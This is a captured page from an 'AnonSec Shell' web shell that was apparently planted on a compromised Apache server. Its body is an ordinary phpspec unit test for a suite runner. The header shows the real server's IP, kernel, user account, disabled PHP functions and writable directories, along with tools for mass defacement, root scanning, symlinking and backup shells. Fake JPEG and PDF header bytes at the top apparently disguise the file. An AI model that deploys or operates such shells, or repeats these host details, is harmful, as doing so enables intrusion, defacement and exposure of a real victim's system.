ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.148   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/evidenciarevista/admin/vendor/phpspec/phpspec/spec/PhpSpec/Runner/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/evidenciarevista/admin/vendor/phpspec/phpspec/spec/PhpSpec/Runner/SuiteRunnerSpec.php
<?php

namespace spec\PhpSpec\Runner;

use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

use PhpSpec\Event\ExampleEvent;
use PhpSpec\Exception\Example\StopOnFailureException;
use PhpSpec\Loader\Suite;
use PhpSpec\Loader\Node\SpecificationNode;
use PhpSpec\Runner\SpecificationRunner;

use Symfony\Component\EventDispatcher\EventDispatcher;

class SuiteRunnerSpec extends ObjectBehavior
{
    function let(EventDispatcher $dispatcher, SpecificationRunner $specRunner, Suite $suite,
                 SpecificationNode $spec1, SpecificationNode $spec2)
    {
        $this->beConstructedWith($dispatcher, $specRunner);
        $suite->getSpecifications()->willReturn( array($spec1, $spec2));
    }

    function it_runs_all_specs_in_the_suite_through_the_specrunner($suite, $specRunner, $spec1, $spec2)
    {
        $this->run($suite);

        $specRunner->run($spec1)->shouldHaveBeenCalled();
        $specRunner->run($spec2)->shouldHaveBeenCalled();
    }

    function it_stops_running_subsequent_specs_when_a_spec_throws_a_StopOnFailureException($suite, $specRunner, $spec1, $spec2)
    {
        $specRunner->run($spec1)->willThrow(new StopOnFailureException());

        $this->run($suite);

        $specRunner->run($spec2)->shouldNotBeenCalled();
    }

    function it_returns_a_successful_result_when_all_specs_in_suite_pass($suite, $specRunner, $spec1, $spec2)
    {
        $specRunner->run($spec1)->willReturn(ExampleEvent::PASSED);
        $specRunner->run($spec2)->willReturn(ExampleEvent::PASSED);

        $this->run($suite)->shouldReturn(ExampleEvent::PASSED);
    }

    function it_returns_a_broken_result_when_one_spec_is_broken($suite, $specRunner, $spec1, $spec2)
    {
        $specRunner->run($spec1)->willReturn(ExampleEvent::FAILED);
        $specRunner->run($spec2)->willReturn(ExampleEvent::BROKEN);

        $this->run($suite)->shouldReturn(ExampleEvent::BROKEN);
    }

    function it_returns_a_failed_result_when_one_spec_failed($suite, $specRunner, $spec1, $spec2)
    {
        $specRunner->run($spec1)->willReturn(ExampleEvent::FAILED);
        $specRunner->run($spec2)->willReturn(ExampleEvent::PENDING);

        $this->run($suite)->shouldReturn(ExampleEvent::FAILED);
    }

    function it_dispatches_events_before_and_after_the_suite($suite, $dispatcher)
    {
        $this->run($suite);

        $dispatcher->dispatch('beforeSuite',
            Argument::type('PhpSpec\Event\SuiteEvent')
        )->shouldHaveBeenCalled();

        $dispatcher->dispatch('afterSuite',
            Argument::type('PhpSpec\Event\SuiteEvent')
        )->shouldHaveBeenCalled();
    }

    function it_dispatches_afterSuite_event_with_result_and_time($suite, $specRunner, $dispatcher)
    {
        $specRunner->run(Argument::any())->will(function () {
            // Wait a few microseconds to ensure that the spec passes even on fast machines
            usleep(10);

            return ExampleEvent::FAILED;
        });

        $this->run($suite);

        $dispatcher->dispatch('afterSuite',
            Argument::that(
                function ($event) {
                    return ($event->getTime() > 0)
                        && ($event->getResult() == ExampleEvent::FAILED);
                }
            )
        )->shouldHaveBeenCalled();
    }
}

Anon7 - 2022
AnonSec Team